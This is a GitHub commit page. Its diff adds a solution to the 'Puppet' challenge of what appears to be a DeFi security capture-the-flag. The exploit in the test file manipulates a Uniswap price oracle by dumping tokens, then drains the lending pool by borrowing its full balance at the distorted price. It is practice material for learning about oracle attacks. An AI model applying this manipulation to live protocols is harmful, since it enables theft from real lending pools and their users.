Skip to content

Commit

Permalink
feat:Challenge theredguild#8 - Puppet solved
Browse files Browse the repository at this point in the history
  • Loading branch information
redace85 committed Jul 7, 2022
1 parent 1146ba2 commit 96c4f6d
Showing 1 changed file with 18 additions and 0 deletions.
18 changes: 18 additions & 0 deletions test/puppet/puppet.challenge.js
Original file line number Diff line number Diff line change
Expand Up @@ -103,6 +103,24 @@ describe('[Challenge] Puppet', function () {

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// approve and swap
let tx = await this.token.connect(attacker).approve(
this.uniswapExchange.address,
ATTACKER_INITIAL_TOKEN_BALANCE
);
await tx.wait();

tx = await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE.sub(100),
ethers.utils.parseEther('9.9'),
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
);
await tx.wait();

const goodprice = await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
// console.log('goodprice:', ethers.utils.formatUnits(goodprice));
tx = await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE,{value:goodprice});
await tx.wait();
});

after(async function () {
Expand Down

0 comments on commit 96c4f6d

Please sign in to comment.